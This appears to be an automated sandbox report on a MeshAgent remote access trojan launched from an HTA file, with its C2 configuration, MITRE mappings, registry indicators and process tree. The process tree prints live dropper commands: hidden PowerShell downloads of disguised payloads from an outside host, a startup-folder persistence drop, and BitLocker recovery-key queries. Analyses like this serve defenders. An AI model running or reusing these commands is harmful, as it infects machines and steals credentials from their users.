meshagent | f6f4ab1036beaf92827bdfb23c1332990797515d8a5832c9671962376a24d74b

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
15-01-2025 23:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

start.hta
Size

2KB
MD5

72f081c2a85a3b7ff6fdf4ec84223142
SHA1

62b7fc52e1da16e69314f873e20db6f21135be8c
SHA256

f6f4ab1036beaf92827bdfb23c1332990797515d8a5832c9671962376a24d74b
SHA512

6ccb132bea970b4cdae18b42320770557025d05a05b2e5398392ab8de47595f07b50d42f1f2f03b1da258b7fe872d3432eef7aa04f90025596cda22acfa5308b

Score

10^/10

meshagent work backdoor discovery execution rat spyware stealer trojan

Malware Config

Extracted

Family

meshagent

Version

Botnet

Work

http://svc.domngn.com:443/agent.ashx

Attributes

mesh_id
0x1402D1DD0CE9DF8279B292A95BF9D505208B4938710CC2F4024C18D802603325A0014D58AC0FAD4D7E9CEEAD748F7700
server_id
405AB0FACF1D3A0959CD0B5B7A54BC2A4B9CD903A6DE863547BA797846F866038226A3EE9C97E847929FCAA70EDF8282
wss
wss://svc.domngn.com:443/agent.ashx

Signatures

Detects MeshAgent payload 1 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023cb2-75.dat	family_meshagent

MeshAgent
MeshAgent is an open source remote access trojan written in C++.
rat trojan backdoor meshagent
Meshagent family
meshagent

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	3916	powershell.exe
10	1672	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3460	powershell.exe
3924	powershell.exe
2228	powershell.exe
1672	powershell.exe
3916	powershell.exe
1672	powershell.exe
3916	powershell.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	mshta.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Program.hta	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Program.hta	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3292	print.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2948	timeout.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	print.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133814578344672778"	print.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
3916	powershell.exe
1672	powershell.exe
3916	powershell.exe
1672	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3924	powershell.exe
3924	powershell.exe
3924	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3916	powershell.exe
Token: SeDebugPrivilege	1672	powershell.exe
Token: SeIncreaseQuotaPrivilege	1556	wmic.exe
Token: SeSecurityPrivilege	1556	wmic.exe
Token: SeTakeOwnershipPrivilege	1556	wmic.exe
Token: SeLoadDriverPrivilege	1556	wmic.exe
Token: SeSystemProfilePrivilege	1556	wmic.exe
Token: SeSystemtimePrivilege	1556	wmic.exe
Token: SeProfSingleProcessPrivilege	1556	wmic.exe
Token: SeIncBasePriorityPrivilege	1556	wmic.exe
Token: SeCreatePagefilePrivilege	1556	wmic.exe
Token: SeBackupPrivilege	1556	wmic.exe
Token: SeRestorePrivilege	1556	wmic.exe
Token: SeShutdownPrivilege	1556	wmic.exe
Token: SeDebugPrivilege	1556	wmic.exe
Token: SeSystemEnvironmentPrivilege	1556	wmic.exe
Token: SeRemoteShutdownPrivilege	1556	wmic.exe
Token: SeUndockPrivilege	1556	wmic.exe
Token: SeManageVolumePrivilege	1556	wmic.exe
Token: 33	1556	wmic.exe
Token: 34	1556	wmic.exe
Token: 35	1556	wmic.exe
Token: 36	1556	wmic.exe
Token: SeIncreaseQuotaPrivilege	1556	wmic.exe
Token: SeSecurityPrivilege	1556	wmic.exe
Token: SeTakeOwnershipPrivilege	1556	wmic.exe
Token: SeLoadDriverPrivilege	1556	wmic.exe
Token: SeSystemProfilePrivilege	1556	wmic.exe
Token: SeSystemtimePrivilege	1556	wmic.exe
Token: SeProfSingleProcessPrivilege	1556	wmic.exe
Token: SeIncBasePriorityPrivilege	1556	wmic.exe
Token: SeCreatePagefilePrivilege	1556	wmic.exe
Token: SeBackupPrivilege	1556	wmic.exe
Token: SeRestorePrivilege	1556	wmic.exe
Token: SeShutdownPrivilege	1556	wmic.exe
Token: SeDebugPrivilege	1556	wmic.exe
Token: SeSystemEnvironmentPrivilege	1556	wmic.exe
Token: SeRemoteShutdownPrivilege	1556	wmic.exe
Token: SeUndockPrivilege	1556	wmic.exe
Token: SeManageVolumePrivilege	1556	wmic.exe
Token: 33	1556	wmic.exe
Token: 34	1556	wmic.exe
Token: 35	1556	wmic.exe
Token: 36	1556	wmic.exe
Token: SeIncreaseQuotaPrivilege	2600	wmic.exe
Token: SeSecurityPrivilege	2600	wmic.exe
Token: SeTakeOwnershipPrivilege	2600	wmic.exe
Token: SeLoadDriverPrivilege	2600	wmic.exe
Token: SeSystemProfilePrivilege	2600	wmic.exe
Token: SeSystemtimePrivilege	2600	wmic.exe
Token: SeProfSingleProcessPrivilege	2600	wmic.exe
Token: SeIncBasePriorityPrivilege	2600	wmic.exe
Token: SeCreatePagefilePrivilege	2600	wmic.exe
Token: SeBackupPrivilege	2600	wmic.exe
Token: SeRestorePrivilege	2600	wmic.exe
Token: SeShutdownPrivilege	2600	wmic.exe
Token: SeDebugPrivilege	2600	wmic.exe
Token: SeSystemEnvironmentPrivilege	2600	wmic.exe
Token: SeRemoteShutdownPrivilege	2600	wmic.exe
Token: SeUndockPrivilege	2600	wmic.exe
Token: SeManageVolumePrivilege	2600	wmic.exe
Token: 33	2600	wmic.exe
Token: 34	2600	wmic.exe
Token: 35	2600	wmic.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe
2312	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4312 wrote to memory of 2044	4312	mshta.exe	82
PID 4312 wrote to memory of 2044	4312	mshta.exe	82
PID 4312 wrote to memory of 2044	4312	mshta.exe	82
PID 4312 wrote to memory of 4984	4312	mshta.exe	84
PID 4312 wrote to memory of 4984	4312	mshta.exe	84
PID 4312 wrote to memory of 4984	4312	mshta.exe	84
PID 2044 wrote to memory of 1672	2044	cmd.exe	86
PID 2044 wrote to memory of 1672	2044	cmd.exe	86
PID 2044 wrote to memory of 1672	2044	cmd.exe	86
PID 4984 wrote to memory of 3916	4984	cmd.exe	87
PID 4984 wrote to memory of 3916	4984	cmd.exe	87
PID 4984 wrote to memory of 3916	4984	cmd.exe	87
PID 2044 wrote to memory of 2312	2044	cmd.exe	88
PID 2044 wrote to memory of 2312	2044	cmd.exe	88
PID 2044 wrote to memory of 2312	2044	cmd.exe	88
PID 2312 wrote to memory of 3824	2312	AcroRd32.exe	90
PID 2312 wrote to memory of 3824	2312	AcroRd32.exe	90
PID 2312 wrote to memory of 3824	2312	AcroRd32.exe	90
PID 4984 wrote to memory of 1328	4984	cmd.exe	91
PID 4984 wrote to memory of 1328	4984	cmd.exe	91
PID 4984 wrote to memory of 1328	4984	cmd.exe	91
PID 1328 wrote to memory of 4524	1328	cmd.exe	92
PID 1328 wrote to memory of 4524	1328	cmd.exe	92
PID 1328 wrote to memory of 4524	1328	cmd.exe	92
PID 1328 wrote to memory of 2948	1328	cmd.exe	93
PID 1328 wrote to memory of 2948	1328	cmd.exe	93
PID 1328 wrote to memory of 2948	1328	cmd.exe	93
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94
PID 3824 wrote to memory of 3596	3824	RdrCEF.exe	94

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\start.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4312
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest https://live.ns-online.com/BgHrn/Back.png -OutFile C:\Users\Admin\Downloads\20241288346.pdf" && start C:\Users\Admin\Downloads\20241288346.pdf
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2044
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest https://live.ns-online.com/BgHrn/Back.png -OutFile C:\Users\Admin\Downloads\20241288346.pdf"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1672
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\Downloads\20241288346.pdf"
    3⤵
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2312
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3824
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=9121EEEFBBB0FB6AD0642C4B369E474D --mojo-platform-channel-handle=1752 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3596
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=20D599D9F204F98CC2672785CE1B5E01 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=20D599D9F204F98CC2672785CE1B5E01 --renderer-client-id=2 --mojo-platform-channel-handle=1768 --allow-no-sandbox-job /prefetch:1
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1308
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=C9B6710D5F67D7C6CB0FD4D8651E1720 --mojo-platform-channel-handle=2320 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2676
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A5A59206D9E3D749B4005B0ADEDD864B --mojo-platform-channel-handle=2464 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4572
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=71A670B021BBEA10658BD8C7FC16239D --mojo-platform-channel-handle=1820 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2904
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest https://live.ns-online.com/BgHrn/Front.png -OutFile C:\Users\Admin\Main.zip; Expand-Archive -LiteralPath C:\Users\Admin\Main.zip -Destinationpath C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Update" && start /b C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Update\Main.bat
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4984
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest https://live.ns-online.com/BgHrn/Front.png -OutFile C:\Users\Admin\Main.zip; Expand-Archive -LiteralPath C:\Users\Admin\Main.zip -Destinationpath C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Update"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3916
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Update\Main.bat
    3⤵
    - Checks computer location settings
    - Drops startup file
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:1328
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Update\Program.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      PID:4524
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Update\print.exe run
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3880
      - C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Update\print.exe
        
        C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Update\print.exe run
        6⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:3292
        
        C:\Windows\System32\wbem\wmic.exe
        
        wmic SystemEnclosure get ChassisTypes
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1556
        
        C:\Windows\system32\wbem\wmic.exe
        
        wmic os get oslanguage /FORMAT:LIST
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2600
        
        C:\Windows\System32\wbem\wmic.exe
        
        wmic ComputerSystem get PCSystemType /FORMAT:"C:\Windows\system32\wbem\en-US\csv"
        7⤵
        
        PID:2656
        
        C:\Windows\system32\wbem\wmic.exe
        
        wmic os get oslanguage /FORMAT:LIST
        7⤵
        
        PID:3104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -noprofile -nologo -command -
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -noprofile -nologo -command -
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3924
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -noprofile -nologo -command -
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2228
        
        C:\Windows\system32\cmd.exe
        
        /c manage-bde -protectors -get C: -Type recoverypassword
        7⤵
        
        PID:2140
        
        C:\Windows\system32\manage-bde.exe
        
        manage-bde -protectors -get C: -Type recoverypassword
        8⤵
        
        PID:3908
        
        C:\Windows\system32\cmd.exe
        
        /c manage-bde -protectors -get F: -Type recoverypassword
        7⤵
        
        PID:5004
        
        C:\Windows\system32\manage-bde.exe
        
        manage-bde -protectors -get F: -Type recoverypassword
        8⤵
        
        PID:2044
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 2
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2948

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
56KB

MD5
